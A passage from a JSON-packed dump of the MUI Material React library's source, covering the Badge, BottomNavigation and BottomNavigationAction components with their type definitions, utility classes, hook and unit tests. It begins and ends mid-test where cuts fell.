it('allows overriding the slots using the slots prop', () => {\n      const CustomRoot = React.forwardRef((props, ref) => {\n        const { ownerState, ...other } = props;\n        return <span {...other} ref={ref} data-testid=\"custom-root\" />;\n      });\n\n      const CustomBadge = React.forwardRef((props, ref) => {\n        const { ownerState, ...other } = props;\n        return <span {...other} ref={ref} data-testid=\"custom-badge\" />;\n      });\n\n      render(\n        <Badge\n          {...defaultProps}\n          badgeContent={1}\n          slots={{ root: CustomRoot, badge: CustomBadge }}\n        />,\n      );\n\n      screen.getByTestId('custom-root');\n      screen.getByTestId('custom-badge');\n    });\n  });\n\n  describe('prop: slotProps', () => {\n    it('allows modifying slots props using the slotProps prop', () => {\n      render(\n        <Badge\n          {...defaultProps}\n          badgeContent={1}\n          slotProps={{\n            root: { 'data-testid': 'custom-root' },\n            badge: { 'data-testid': 'custom-badge' },\n          }}\n        />,\n      );\n\n      screen.getByTestId('custom-root');\n      screen.getByTestId('custom-badge');\n    });\n  });\n\n  it('retains anchorOrigin, content, color, max, overlap and variant when invisible is true for consistent disappearing transition', () => {\n    const { container, setProps } = render(\n      <Badge {...defaultProps} color=\"secondary\" variant=\"dot\" />,\n    );\n\n    setProps({\n      badgeContent: 0,\n      color: 'primary',\n      variant: 'standard',\n      overlap: 'circular',\n      anchorOrigin: {\n        vertical: 'bottom',\n        horizontal: 'left',\n      },\n    });\n\n    expect(findBadge(container)).to.have.text('');\n    expect(findBadge(container)).to.have.class(classes.colorSecondary);\n    expect(findBadge(container)).to.have.class(classes.dot);\n    expect(findBadge(container)).to.have.class(classes.anchorOriginTopRightRectangular);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Badge/badgeClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface BadgeClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the badge `span` element. */\n  badge: string;\n  /** Styles applied to the badge `span` element if `variant=\"dot\"`. */\n  dot: string;\n  /** Styles applied to the badge `span` element if `variant=\"standard\"`. */\n  standard: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'right' }}`. */\n  anchorOriginTopRight: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'right' }}`. */\n  anchorOriginBottomRight: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'left' }}`. */\n  anchorOriginTopLeft: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'left' }}`. */\n  anchorOriginBottomLeft: string;\n  /** State class applied to the badge `span` element if `invisible={true}`. */\n  invisible: string;\n  /** Styles applied to the badge `span` element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the badge `span` element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the badge `span` element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the badge `span` element if `color=\"info\"`. */\n  colorInfo: string;\n  /** Styles applied to the badge `span` element if `color=\"success\"`. */\n  colorSuccess: string;\n  /** Styles applied to the badge `span` element if `color=\"warning\"`. */\n  colorWarning: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'right' }} overlap=\"rectangular\"`. */\n  anchorOriginTopRightRectangular: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'right' }} overlap=\"rectangular\"`. */\n  anchorOriginBottomRightRectangular: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'left' }} overlap=\"rectangular\"`. */\n  anchorOriginTopLeftRectangular: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'left' }} overlap=\"rectangular\"`. */\n  anchorOriginBottomLeftRectangular: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'right' }} overlap=\"circular\"`. */\n  anchorOriginTopRightCircular: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'right' }} overlap=\"circular\"`. */\n  anchorOriginBottomRightCircular: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'top', 'left' }} overlap=\"circular\"`. */\n  anchorOriginTopLeftCircular: string;\n  /** Styles applied to the badge `span` element if `anchorOrigin={{ 'bottom', 'left' }} overlap=\"circular\"`. */\n  anchorOriginBottomLeftCircular: string;\n  /** Styles applied to the badge `span` element if `overlap=\"rectangular\"`. */\n  overlapRectangular: string;\n  /** Styles applied to the badge `span` element if `overlap=\"circular\"`. */\n  overlapCircular: string;\n}\n\nexport type BadgeClassKey = keyof BadgeClasses;\n\nexport function getBadgeUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiBadge', slot);\n}\n\nconst badgeClasses: BadgeClasses = generateUtilityClasses('MuiBadge', [\n  'root',\n  'badge',\n  'dot',\n  'standard',\n  'anchorOriginTopRight',\n  'anchorOriginBottomRight',\n  'anchorOriginTopLeft',\n  'anchorOriginBottomLeft',\n  'invisible',\n  'colorError',\n  'colorInfo',\n  'colorPrimary',\n  'colorSecondary',\n  'colorSuccess',\n  'colorWarning',\n  'overlapRectangular',\n  'overlapCircular',\n  // TODO: v6 remove the overlap value from these class keys\n  'anchorOriginTopLeftCircular',\n  'anchorOriginTopLeftRectangular',\n  'anchorOriginTopRightCircular',\n  'anchorOriginTopRightRectangular',\n  'anchorOriginBottomLeftCircular',\n  'anchorOriginBottomLeftRectangular',\n  'anchorOriginBottomRightCircular',\n  'anchorOriginBottomRightRectangular',\n]);\n\nexport default badgeClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Badge/index.d.ts",
    "content": "export { default } from './Badge';\nexport * from './Badge';\n\nexport { default as badgeClasses } from './badgeClasses';\nexport * from './badgeClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Badge/index.js",
    "content": "export { default } from './Badge';\n\nexport { default as badgeClasses } from './badgeClasses';\nexport * from './badgeClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Badge/useBadge.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport usePreviousProps from '@mui/utils/usePreviousProps';\nimport { UseBadgeParameters, UseBadgeReturnValue } from './useBadge.types';\n\nfunction useBadge(parameters: UseBadgeParameters): UseBadgeReturnValue {\n  const {\n    badgeContent: badgeContentProp,\n    invisible: invisibleProp = false,\n    max: maxProp = 99,\n    showZero = false,\n  } = parameters;\n\n  const prevProps = usePreviousProps({\n    badgeContent: badgeContentProp,\n    max: maxProp,\n  });\n\n  let invisible = invisibleProp;\n\n  if (invisibleProp === false && badgeContentProp === 0 && !showZero) {\n    invisible = true;\n  }\n\n  const { badgeContent, max = maxProp } = invisible ? prevProps : parameters;\n\n  const displayValue: React.ReactNode =\n    badgeContent && Number(badgeContent) > max ? `${max}+` : badgeContent;\n\n  return {\n    badgeContent,\n    invisible,\n    max,\n    displayValue,\n  };\n}\n\nexport default useBadge;\n"
  },
  {
    "path": "packages/mui-material/src/Badge/useBadge.types.ts",
    "content": "export interface UseBadgeParameters {\n  /**\n   * The content rendered within the badge.\n   */\n  badgeContent?: React.ReactNode;\n  /**\n   * If `true`, the badge is invisible.\n   * @default false\n   */\n  invisible?: boolean | undefined;\n  /**\n   * Max count to show.\n   * @default 99\n   */\n  max?: number | undefined;\n  /**\n   * Controls whether the badge is hidden when `badgeContent` is zero.\n   * @default false\n   */\n  showZero?: boolean | undefined;\n}\n\nexport interface UseBadgeReturnValue {\n  /**\n   * Defines the content that's displayed inside the badge.\n   */\n  badgeContent: React.ReactNode;\n  /**\n   * If `true`, the component will not be visible.\n   */\n  invisible: boolean;\n  /**\n   * Maximum number to be displayed in the badge.\n   */\n  max: number;\n  /**\n   * Value to be displayed in the badge. If `badgeContent` is greater than `max`, it will return `max+`.\n   */\n  displayValue: React.ReactNode;\n}\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigation/BottomNavigation.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { BottomNavigationClasses } from './bottomNavigationClasses';\n\nexport interface BottomNavigationOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<BottomNavigationClasses> | undefined;\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {any} value We default to the index of the child.\n   */\n  onChange?: ((event: React.SyntheticEvent, value: any) => void) | undefined;\n  /**\n   * If `true`, all `BottomNavigationAction`s will show their labels.\n   * By default, only the selected `BottomNavigationAction` will show its label.\n   * @default false\n   */\n  showLabels?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The value of the currently selected `BottomNavigationAction`.\n   */\n  value?: any;\n}\n\nexport interface BottomNavigationTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & BottomNavigationOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Bottom Navigation](https://next.mui.com/material-ui/react-bottom-navigation/)\n *\n * API:\n *\n * - [BottomNavigation API](https://next.mui.com/material-ui/api/bottom-navigation/)\n */\ndeclare const BottomNavigation: OverridableComponent<BottomNavigationTypeMap>;\n\nexport type BottomNavigationProps<\n  RootComponent extends React.ElementType = BottomNavigationTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<BottomNavigationTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default BottomNavigation;\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigation/BottomNavigation.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getBottomNavigationUtilityClass } from './bottomNavigationClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getBottomNavigationUtilityClass, classes);\n};\n\nconst BottomNavigationRoot = styled('div', {\n  name: 'MuiBottomNavigation',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    justifyContent: 'center',\n    height: 56,\n    backgroundColor: (theme.vars || theme).palette.background.paper,\n  })),\n);\n\nconst BottomNavigation = React.forwardRef(function BottomNavigation(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiBottomNavigation' });\n  const {\n    children,\n    className,\n    component = 'div',\n    onChange,\n    showLabels = false,\n    value,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n    showLabels,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <BottomNavigationRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    >\n      {React.Children.map(children, (child, childIndex) => {\n        if (!React.isValidElement(child)) {\n          return null;\n        }\n\n        if (process.env.NODE_ENV !== 'production') {\n          if (isFragment(child)) {\n            console.error(\n              [\n                \"MUI: The BottomNavigation component doesn't accept a Fragment as a child.\",\n                'Consider providing an array instead.',\n              ].join('\\n'),\n            );\n          }\n        }\n\n        const childValue = child.props.value === undefined ? childIndex : child.props.value;\n\n        return React.cloneElement(child, {\n          selected: childValue === value,\n          showLabel: child.props.showLabel !== undefined ? child.props.showLabel : showLabels,\n          value: childValue,\n          onChange,\n        });\n      })}\n    </BottomNavigationRoot>\n  );\n});\n\nBottomNavigation.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {any} value We default to the index of the child.\n   */\n  onChange: PropTypes.func,\n  /**\n   * If `true`, all `BottomNavigationAction`s will show their labels.\n   * By default, only the selected `BottomNavigationAction` will show its label.\n   * @default false\n   */\n  showLabels: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value of the currently selected `BottomNavigationAction`.\n   */\n  value: PropTypes.any,\n};\n\nexport default BottomNavigation;\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigation/BottomNavigation.spec.tsx",
    "content": "import * as React from 'react';\nimport BottomNavigation from '@mui/material/BottomNavigation';\n\nfunction testOnChange() {\n  function handleBottomNavigationChange(event: React.SyntheticEvent, tabsValue: unknown) {}\n  <BottomNavigation onChange={handleBottomNavigationChange} />;\n\n  function handleElementChange(event: React.ChangeEvent) {}\n\n  <BottomNavigation\n    // @ts-expect-error internally it's whatever even lead to a change in value\n    onChange={handleElementChange}\n  />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigation/BottomNavigation.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport BottomNavigation, {\n  bottomNavigationClasses as classes,\n} from '@mui/material/BottomNavigation';\nimport BottomNavigationAction, {\n  bottomNavigationActionClasses as actionClasses,\n} from '@mui/material/BottomNavigationAction';\nimport Icon from '@mui/material/Icon';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<BottomNavigation />', () => {\n  const { render } = createRenderer();\n\n  const icon = <Icon>restore</Icon>;\n  const getBottomNavigation = (container) => container.firstChild;\n\n  describeConformance(\n    <BottomNavigation>\n      <BottomNavigationAction label=\"One\" />\n    </BottomNavigation>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiBottomNavigation',\n      refInstanceof: window.HTMLDivElement,\n      testComponentPropWith: 'span',\n      skip: ['themeVariants'],\n    }),\n  );\n\n  it('renders with a null child', () => {\n    const { container } = render(\n      <BottomNavigation showLabels value={0}>\n        <BottomNavigationAction label=\"One\" />\n        {null}\n        <BottomNavigationAction label=\"Three\" />\n      </BottomNavigation>,\n    );\n    expect(getBottomNavigation(container).childNodes.length).to.equal(2);\n  });\n\n  it('should pass selected prop to children', () => {\n    const { container } = render(\n      <BottomNavigation showLabels value={1}>\n        <BottomNavigationAction icon={icon} />\n        <BottomNavigationAction icon={icon} />\n      </BottomNavigation>,\n    );\n    expect(getBottomNavigation(container).childNodes[0]).not.to.have.class(actionClasses.selected);\n    expect(getBottomNavigation(container).childNodes[1]).to.have.class(actionClasses.selected);\n  });\n\n  it('should overwrite parent showLabel prop adding class iconOnly', () => {\n    render(\n      <BottomNavigation showLabels>\n        <BottomNavigationAction icon={icon} data-testid=\"withLabel\" />\n        <BottomNavigationAction icon={icon} showLabel={false} data-testid=\"withoutLabel\" />\n      </BottomNavigation>,\n    );\n\n    expect(screen.getByTestId('withLabel')).not.to.have.class(actionClasses.iconOnly);\n    expect(screen.getByTestId('withoutLabel')).to.have.class(actionClasses.iconOnly);\n  });\n\n  it('should forward the click', () => {\n    const handleChange = spy();\n    const { container } = render(\n      <BottomNavigation showLabels value={0} onChange={handleChange}>\n        <BottomNavigationAction icon={icon} />\n        <BottomNavigationAction icon={icon} />\n      </BottomNavigation>,\n    );\n    fireEvent.click(getBottomNavigation(container).childNodes[1]);\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][1]).to.equal(1);\n  });\n\n  it('should use custom action values', () => {\n    const handleChange = spy();\n    const { container } = render(\n      <BottomNavigation showLabels value={'first'} onChange={handleChange}>\n        <BottomNavigationAction value=\"first\" icon={icon} />\n        <BottomNavigationAction value=\"second\" icon={icon} />\n      </BottomNavigation>,\n    );\n    fireEvent.click(getBottomNavigation(container).childNodes[1]);\n    expect(handleChange.args[0][1]).to.equal('second', 'should have been called with value second');\n  });\n\n  it('should handle also empty action value', () => {\n    const handleChange = spy();\n    const { container } = render(\n      <BottomNavigation showLabels value=\"val\" onChange={handleChange}>\n        <BottomNavigationAction value=\"\" icon={icon} />\n        <BottomNavigationAction icon={icon} />\n        <BottomNavigationAction value={null} icon={icon} />\n      </BottomNavigation>,\n    );\n    fireEvent.click(getBottomNavigation(container).childNodes[0]);\n    expect(handleChange.args[0][1], '');\n    fireEvent.click(getBottomNavigation(container).childNodes[1]);\n    expect(handleChange.args[1][1], 1);\n    fireEvent.click(getBottomNavigation(container).childNodes[2]);\n    expect(handleChange.args[2][1], '');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigation/bottomNavigationClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface BottomNavigationClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type BottomNavigationClassKey = keyof BottomNavigationClasses;\n\nexport function getBottomNavigationUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiBottomNavigation', slot);\n}\n\nconst bottomNavigationClasses: BottomNavigationClasses = generateUtilityClasses(\n  'MuiBottomNavigation',\n  ['root'],\n);\n\nexport default bottomNavigationClasses;\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigation/index.d.ts",
    "content": "export { default } from './BottomNavigation';\nexport * from './BottomNavigation';\n\nexport { default as bottomNavigationClasses } from './bottomNavigationClasses';\nexport * from './bottomNavigationClasses';\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigation/index.js",
    "content": "export { default } from './BottomNavigation';\n\nexport { default as bottomNavigationClasses } from './bottomNavigationClasses';\nexport * from './bottomNavigationClasses';\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigationAction/BottomNavigationAction.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport {\n  ButtonBaseProps,\n  ButtonBaseTypeMap,\n  ExtendButtonBase,\n  ExtendButtonBaseTypeMap,\n} from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { BottomNavigationActionClasses } from './bottomNavigationActionClasses';\n\nexport interface BottomNavigationActionSlots {\n  /**\n   * The component that renders the root.\n   * @default ButtonBase\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the label.\n   * @default span\n   */\n  label: React.ElementType;\n}\n\nexport type BottomNavigationActionSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  BottomNavigationActionSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the ButtonBase element.\n     */\n    root: SlotProps<React.ElementType<ButtonBaseProps>, {}, BottomNavigationActionOwnerState>;\n    /**\n     * Props forwarded to the label slot.\n     * By default, the available props are based on the span element.\n     */\n    label: SlotProps<'span', {}, BottomNavigationActionOwnerState>;\n  }\n>;\n\nexport interface BottomNavigationActionOwnProps extends BottomNavigationActionSlotsAndSlotProps {\n  /**\n   * This prop isn't supported.\n   * Use the `component` prop if you need to change the children structure.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<BottomNavigationActionClasses> | undefined;\n  /**\n   * The icon to display.\n   */\n  icon?: React.ReactNode;\n  /**\n   * The label element.\n   */\n  label?: React.ReactNode;\n  /**\n   * If `true`, the `BottomNavigationAction` will show its label.\n   * By default, only the selected `BottomNavigationAction`\n   * inside `BottomNavigation` will show its label.\n   *\n   * The prop defaults to the value (`false`) inherited from the parent BottomNavigation component.\n   */\n  showLabel?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * You can provide your own value. Otherwise, we fallback to the child position index.\n   */\n  value?: any;\n}\n\nexport type BottomNavigationActionTypeMap<\n  AdditionalProps,\n  RootComponent extends React.ElementType,\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & BottomNavigationActionOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Bottom Navigation](https://next.mui.com/material-ui/react-bottom-navigation/)\n *\n * API:\n *\n * - [BottomNavigationAction API](https://next.mui.com/material-ui/api/bottom-navigation-action/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const BottomNavigationAction: ExtendButtonBase<\n  BottomNavigationActionTypeMap<{}, ButtonBaseTypeMap['defaultComponent']>\n>;\n\nexport type BottomNavigationActionProps<\n  RootComponent extends React.ElementType = ButtonBaseTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<BottomNavigationActionTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport interface BottomNavigationActionOwnerState extends Omit<\n  BottomNavigationActionProps,\n  'slots' | 'slotProps'\n> {}\n\nexport default BottomNavigationAction;\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigationAction/BottomNavigationAction.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ButtonBase from '../ButtonBase';\nimport unsupportedProp from '../utils/unsupportedProp';\nimport bottomNavigationActionClasses, {\n  getBottomNavigationActionUtilityClass,\n} from './bottomNavigationActionClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, showLabel, selected } = ownerState;\n\n  const slots = {\n    root: ['root', !showLabel && !selected && 'iconOnly', selected && 'selected'],\n    label: ['label', !showLabel && !selected && 'iconOnly', selected && 'selected'],\n  };\n\n  return composeClasses(slots, getBottomNavigationActionUtilityClass, classes);\n};\n\nconst BottomNavigationActionRoot = styled(ButtonBase, {\n  name: 'MuiBottomNavigationAction',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.showLabel && !ownerState.selected && styles.iconOnly];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    transition: theme.transitions.create(['color', 'padding-top'], {\n      duration: theme.transitions.duration.short,\n    }),\n    padding: '0px 12px',\n    minWidth: 80,\n    maxWidth: 168,\n    color: (theme.vars || theme).palette.text.secondary,\n    flexDirection: 'column',\n    flex: '1',\n    [`&.${bottomNavigationActionClasses.selected}`]: {\n      color: (theme.vars || theme).palette.primary.main,\n    },\n    variants: [\n      {\n        props: ({ showLabel, selected }) => !showLabel && !selected,\n        style: {\n          paddingTop: 14,\n        },\n      },\n      {\n        props: ({ showLabel, selected, label }) => !showLabel && !selected && !label,\n        style: {\n          paddingTop: 0,\n        },\n      },\n    ],\n  })),\n);\n\nconst BottomNavigationActionLabel = styled('span', {\n  name: 'MuiBottomNavigationAction',\n  slot: 'Label',\n})(\n  memoTheme(({ theme }) => ({\n    fontFamily: theme.typography.fontFamily,\n    fontSize: theme.typography.pxToRem(12),\n    opacity: 1,\n    transition: 'font-size 0.2s, opacity 0.2s',\n    transitionDelay: '0.1s',\n    [`&.${bottomNavigationActionClasses.selected}`]: {\n      fontSize: theme.typography.pxToRem(14),\n    },\n    variants: [\n      {\n        props: ({ showLabel, selected }) => !showLabel && !selected,\n        style: {\n          opacity: 0,\n          transitionDelay: '0s',\n        },\n      },\n    ],\n  })),\n);\n\nconst BottomNavigationAction = React.forwardRef(function BottomNavigationAction(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiBottomNavigationAction' });\n  const {\n    className,\n    icon,\n    label,\n    onChange,\n    onClick,\n    // eslint-disable-next-line react/prop-types -- private, always overridden by BottomNavigation\n    selected,\n    showLabel,\n    value,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  const handleChange = (event) => {\n    if (onChange) {\n      onChange(event, value);\n    }\n\n    if (onClick) {\n      onClick(event);\n    }\n  };\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: BottomNavigationActionRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    shouldForwardComponentProp: true,\n    ownerState,\n    ref,\n    className: clsx(classes.root, className),\n    additionalProps: {\n      internalNativeButton: true,\n      focusRipple: true,\n    },\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onClick: (event) => {\n        handlers.onClick?.(event);\n        handleChange(event);\n      },\n    }),\n  });\n\n  const [LabelSlot, labelProps] = useSlot('label', {\n    elementType: BottomNavigationActionLabel,\n    externalForwardedProps,\n    ownerState,\n    className: classes.label,\n  });\n\n  return (\n    <RootSlot {...rootProps}>\n      {icon}\n      <LabelSlot {...labelProps}>{label}</LabelSlot>\n    </RootSlot>\n  );\n});\n\nBottomNavigationAction.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * This prop isn't supported.\n   * Use the `component` prop if you need to change the children structure.\n   */\n  children: unsupportedProp,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The icon to display.\n   */\n  icon: PropTypes.node,\n  /**\n   * The label element.\n   */\n  label: PropTypes.node,\n  /**\n   * @ignore\n   */\n  onChange: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onClick: PropTypes.func,\n  /**\n   * If `true`, the `BottomNavigationAction` will show its label.\n   * By default, only the selected `BottomNavigationAction`\n   * inside `BottomNavigation` will show its label.\n   *\n   * The prop defaults to the value (`false`) inherited from the parent BottomNavigation component.\n   */\n  showLabel: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    label: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    label: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * You can provide your own value. Otherwise, we fallback to the child position index.\n   */\n  value: PropTypes.any,\n};\n\nexport default BottomNavigationAction;\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigationAction/BottomNavigationAction.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, within, screen } from '@mui/internal-test-utils';\nimport BottomNavigationAction, {\n  bottomNavigationActionClasses as classes,\n} from '@mui/material/BottomNavigationAction';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\n\nconst CustomButtonBase = React.forwardRef(({ focusRipple, ...props }, ref) => (\n  <ButtonBase ref={ref} {...props} />\n));\n\ndescribe('<BottomNavigationAction />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<BottomNavigationAction />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiBottomNavigationAction',\n    refInstanceof: window.HTMLButtonElement,\n    testVariantProps: { showLabel: true },\n    testDeepOverrides: { slotName: 'label', slotClassName: classes.label },\n    skip: ['componentProp'],\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n        testWithElement: CustomButtonBase,\n      },\n      label: {\n        expectedClassName: classes.label,\n      },\n    },\n  }));\n\n  it('adds a `selected` class when selected', () => {\n    render(<BottomNavigationAction selected />);\n\n    expect(screen.getByRole('button')).to.have.class(classes.selected);\n  });\n\n  it('should render label with the selected class when selected', () => {\n    const { container } = render(<BottomNavigationAction selected />);\n\n    expect(container.querySelector(`.${classes.label}`)).to.have.class(classes.selected);\n  });\n\n  it('adds a `iconOnly` class by default', () => {\n    render(<BottomNavigationAction />);\n\n    expect(screen.getByRole('button')).to.have.class(classes.iconOnly);\n  });\n\n  it('should render label with the `iconOnly` class', () => {\n    const { container } = render(<BottomNavigationAction />);\n\n    expect(container.querySelector(`.${classes.label}`)).to.have.class(classes.iconOnly);\n  });\n\n  it('removes the `iconOnly` class when `selected`', () => {\n    render(<BottomNavigationAction selected />);\n\n    expect(screen.getByRole('button')).not.to.have.class(classes.iconOnly);\n  });\n\n  it('removes the `iconOnly` class when `showLabel`', () => {\n    render(<BottomNavigationAction showLabel />);\n\n    